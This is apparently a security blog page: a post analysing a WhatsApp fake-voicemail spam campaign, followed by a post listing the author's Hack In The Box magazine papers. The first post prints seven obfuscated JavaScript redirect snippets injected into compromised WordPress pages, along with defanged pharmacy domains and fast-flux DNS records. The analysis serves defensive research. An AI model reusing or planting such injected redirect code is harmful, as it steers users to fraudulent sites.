[Updated] Nurturing JavaScript Obfuscation and Fast Flux DNS - "Whats App Voicemail Spamming" for Russian Online Pharmacies!

Recently, we analyzed that spammers are doing "Whats App Fake Voicemail" spamming to trick end-users to visit online pharmacies' websites. There are high chances that malware can be downloaded on to the end-user systems visiting these spamming websites. However, during this analysis, we did not notice that behavior.

The trend of "Whats App Fake Voicemail" spamming messages is not new as we have been encountering these spamming activities for last few years. There are not significant changes in the methods of sending "Whats App Fake Voicemail" notification messages which are used to lure end-users to visit illegitimate domains. However  from security research perspective, the target is to understand how this spamming attack is carried at the backend.  Since the "Whats App" organization brand is treated as a bait, as a result of which, there are high chances that people will click the links in the notification emails. This spamming attack is targeted against broad set of users on the Internet in order to redirect them to the online pharmacies' outlets managed by Russian cyber actors. Check more on online pharmacies monetary model here : https://en.wikipedia.org/wiki/Online_pharmacy

Let's perform the analysis. The end-user receives the email notification for "Whats App Fake Voicemail" message as follows:

When end-user clicks the domain it is redirected to the malicious domain that serves following HTTP response headers as shown below. The landing web pages are hosted on Wordpress portal which looks like to be a compromised website. Let's take a close look on the HTTP response headers.

GET /wp-content/themes/eStore/epanel/page_templates/js/educating.php HTTP/1.1
Host pasarjagakarsa.com
User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language en-US,en;q=0.5
Accept-Encoding gzip, deflate
Connection keep-alive

(Status-Line) HTTP/1.1 404 Not Found
Server nginx
Date Tue, 29 Sep 2015 19:32:40 GMT
Content-Type text/html
Transfer-Encoding chunked
Connection keep-alive
Vary Accept-Encoding
X-Powered-By PHP/5.4.44
Content-Encoding gzip

If you see the highlighted part in the HTTP response headers, it shows "404 Not Found" error which generally means resource does not exist on the web server. Infact it is not true, the web server responded back with following content as a part of web page.

Before going further, check our earlier articles on JavaScript de-obfuscation

• http://secniche.blogspot.com/2012/04/javascript-obfuscation-manual-armor-1.html
• http://secniche.blogspot.com/2012/04/javascript-obfuscation-manual-armor-2.html
• http://secniche.blogspot.com/2011/04/javascript-camouflaging-primer.html 

If you notice, the web page has an obfuscated JavaScript embedded in it. Let's extract the obfuscated JavaScript as shown below:

The obfuscated JS is not that complex and it can be de-obfuscated easily. On de-obfuscation it was observed that the user's browser was further redirected to the following domain: "hxxp://magicorganicmarket.ru" as shown below:

Due to misconfiguration on the landing domain:"hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/js/educating.php" , the directory listing was obtained as follows:

Several other malicious links with obfuscated JavaScripts were obtained and presented as follows:

hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/js/chatterer.php

function celle() { cella=72; cellb=[191,177,182,172,183,191,118,188,183,184,118,180,183,171,169,188,177,183,182,118,176,186,173,174,133,111,176,188,188,184,130,119,119,182,169,188,189,186,169,180,176,173,186,170,187,183,189,188,180,173,188,118,186,189,111,131]; cellc=""; for(celld=0;celld<cellb.length;celld++) { cellc+=String.fromCharCode(cellb[celld]-cella); } return cellc; } setTimeout(celle(),1306);

Online Pharmacy Website after De-obfuscating JS Code: hxxp://naturalherbsoutlet.ru/

hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/js/elimination.php

function sicklee() { sicklea=42; sickleb=[161,147,152,142,153,161,88,158,153,154,88,150,153,141,139,158,147,153,152,88,146,156,143,144,103,81,146,158,158,154,100,89,89,145,143,152,143,156,147,141,139,147,142,141,153,151,154,139,152,163,88,156,159,81,101]; sicklec=""; for(sickled=0;sickled<sickleb.length;sickled++) { sicklec+=String.fromCharCode(sickleb[sickled]-sicklea); } return sicklec; } setTimeout(sicklee(),1276);

Online Pharmacy Website after De-obfuscating JS Code: hxxp://genericaidcompany.ru/

hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/js/fresnel.php

function timee() { timea=58; timeb=[177,163,168,158,169,177,104,174,169,170,104,166,169,157,155,174,163,169,168,104,162,172,159,160,119,97,162,174,174,170,116,105,105,167,159,158,163,157,155,166,173,155,160,159,173,159,172,176,163,157,159,173,104,172,175,97,117]; timec=""; for(timed=0;timed<timeb.length;timed++) { timec+=String.fromCharCode(timeb[timed]-timea); } return timec; } setTimeout(timee(),1292);

Online Pharmacy Website after De-obfuscating JS Code: hxxp://medicalsafeservices.ru/

hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/js/sensitive.php

function risee() { risea=80; riseb=[199,185,190,180,191,199,126,196,191,192,126,188,191,179,177,196,185,191,190,126,184,194,181,182,141,119,184,196,196,192,138,127,127,192,181,194,182,181,179,196,184,181,194,178,195,199,181,178,189,177,194,196,126,194,197,119,139]; risec=""; for(rised=0;rised<riseb.length;rised++) { risec+=String.fromCharCode(riseb[rised]-risea); } return risec; } setTimeout(risee(),1314);

Online Pharmacy Website after De-obfuscating JS Code: hxxp://perfectherbswebmart.ru/

hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/reclaimers.php

function likede() { likeda=62; likedb=[181,167,172,162,173,181,108,178,173,174,108,170,173,161,159,178,167,173,172,108,166,176,163,164,123,101,166,178,178,174,120,109,109,173,172,170,167,172,163,176,163,171,163,162,183,180,159,170,179,163,108,176,179,101,121]; likedc=""; for(likedd=0;likedd<likedb.length;likedd++) { likedc+=String.fromCharCode(likedb[likedd]-likeda); } return likedc; } setTimeout(likede(),1296);

 Online Pharmacy Website after De-obfuscating JS Code: hxxp://onlineremedyvalue.ru/

hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/reclaimers.php

function politye() { politya=38; polityb=[157,143,148,138,149,157,84,154,149,150,84,146,149,137,135,154,143,149,148,84,142,152,139,140,99,77,142,154,154,150,96,85,85,148,135,154,155,152,135,146,150,143,146,146,147,135,146,146,84,152,155,77,97]; polityc=""; for(polityd=0;polityd<polityb.length;polityd++) { polityc+=String.fromCharCode(polityb[polityd]-politya); } return polityc; } setTimeout(politye(),1272);

 Online Pharmacy Website after De-obfuscating JS Code: hxxp://naturalpillmall.ru/

hxxp://pasarjagakarsa.com/wp-content/themes/eStore/epanel/page_templates/reclaimers.php

function travellere() { travellera=56; travellerb=[175,161,166,156,167,175,102,172,167,168,102,164,167,155,153,172,161,167,166,102,160,170,157,158,117,95,160,172,172,168,114,103,103,160,157,170,154,153,164,160,167,172,168,173,170,155,160,153,171,157,102,170,173,95,115]; travellerc=""; for(travellerd=0;travellerd<travellerb.length;travellerd++) { travellerc+=String.fromCharCode(travellerb[travellerd]-travellera); } return travellerc; } setTimeout(travellere(),1290);

 Online Pharmacy Website after De-obfuscating JS Code: hxxp://herbalhotpurchase.ru/

[Updates]

All the information and orders are actually handled by this primary outlet - hxxps://checkoutucxefvfq.fastcheckoutrx.com/

We performed tests at the network level to understand on how the name servers were configured and we found that DNS fluxing was used in this campaign. The Time-To-Live (TTL) field is set for 600 seconds and after the IP address of the domain changes. 

Here is an example:

perfectherbswebmart.ru. 600 IN A 82.199.121.167

perfectherbswebmart.ru. 600 IN A 198.144.158.52

Some analytical points for consideration:

• Overall extensive ".ru" domains have been used in this spamming campaign.
• One can conclude that automated spam-code generation tools have been used in this campaign to ease out the process of large scale infection
• For example:- infecting PHP pages with JavaScript obfuscated code hosted on the compromised websites
• The campaign looks like to be executed at an extensive level considering the artefacts.
• Many similar instances of JavaScript obfuscation have been analyzed as presented above
• A number of online pharmacy websites found after de-obfuscating the JavaScript:
• hxxp://herbalhotpurchase.ru/
• hxxp://naturalpillmall.ru/
• hxxp://onlineremedyvalue.ru/
• hxxp://perfectherbswebmart.ru/
• hxxp://medicalsafeservices.ru/
• hxxp://genericaidcompany.ru/
• hxxp://naturalherbsoutlet.ru/

• We believe that this is just the tip of the iceberg and there will be many more

We won't be surprised if the same tactics are used for drive-by download instead of spamming in particular.

Note: At the time of drafting this post, all the websites were active.

Stay Secure !

Hack In The Box (HitB) Magazine : A Journey of Learning and Sharing

I finally get some time to talk my ( and other team members) journey as a contributor and author for Hack-in-the-Box (HitB) magazine. At this point, HitB ezine has completed more than two years. It's been a great time working with the HitB crew especially Zarul and Dhillon. In addition, Mateusz “j00ru” Jurczyk
Gynvael Coldwind is also contributing a lot. I have been writing for this magazine right from the first edition. It has been a great time of sharing and learning in the last two years. I want to talk about the content that I have written in the last nine editions with a support from my different colleagues.

Edition 1: (Paper) - Malware Obfuscation: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-001.pdf - The first edition was released in January 2010. In this edition, I wrote a paper with Wayne Huang of Armorize on malware obfuscation tactics with an additional support from Fyodor Yarochkin. We discussed several malware obfuscation tactics and how to deobfuscate them manually.

Edition 2: (Paper) - Open Redirect Wreck Off - Web Traffic Forwards: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-002.pdf - The second edition was released in April 2012. In this edition, I presented the complete details of traffic redirection in web applications and websites using real time code snippets collected during open research.

Edition 3: (Paper) - Chinese Malware Factory - Paradox of MS Office Based Malware: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-003.pdf - The third edition came out in July 2010. In this edition, I wrote about my research on MS office based Chinese malware that uses word, excel, etc. files to spread malicious code by exploiting inherent vulnerabilities in the requisite software component.    

Edition 4: (Paper) - Notorious Data-center Support Systems: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-004.pdf - The fourth edition came out in October 2010. In this edition. I wrote a collaborative paper with my colleague Rohit Bansal on vulnerabilities present in the support center web applications that can directly result in gaining access to different virtual hosts.

Edition 5: (Paper) - Exploiting Web Virtual Hosting - Malware Infections: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-005.pdf - The fifth edition was released in February 2011. In this paper, I wrote a paper collaboratively with my colleague Rohit Bansal and my adviser Dr. Enbody and presented about the techniques of infecting virtual hosts present on the same host.

Edition 6: (Paper) - Botnet Resistant Coding: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-006.pdf - The sixth edition came out in June 2011. I released a paper with my colleagues Peter Greko, Fabian and my adviser Dr. Enbody to present on the concept of botnet resistant coding.  In this edition, we talk about a generic approach of coding to subvert the automated log harvesting process in C&C panels.

Edition 7: (Paper) - Extending SQL Injections using Buffer Overflows: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-007.pdf - The seventh edition was released in October 2011. In this edition, I wrote another paper collaboratively with my colleague Rohit Bansal and my adviser Dr. Enbody on the issue of exploiting blind sql injections in web applications that encounter 500 error by using buffer overflow technique. This tactic was developed by Rohit itself.

Edition 8: (Paper) - Exploit Distribution Mechanism in Browser Exploit Packs: http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-008.pdf - The eighth edition came out in April 2012. In this edition, I wrote collaboratively with Dr. Enbody on the techniques of exploit distribution in browser exploit packs such as BlackHole, Phoenix, etc.

Edition 9: (Paper) - Game of Windows 32/64 System Takeover - Bot Wars : http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-009.pdf - The ninth edition was released in November 2012. I detailed on the concept of bot wars in which one bot kills other to gain complete access of the infected system.

HitB Magazine is a great place to talk about hacking techniques. I hope this continues and I wish to contribute more in the coming time.

So, Hack the Box. Cheers !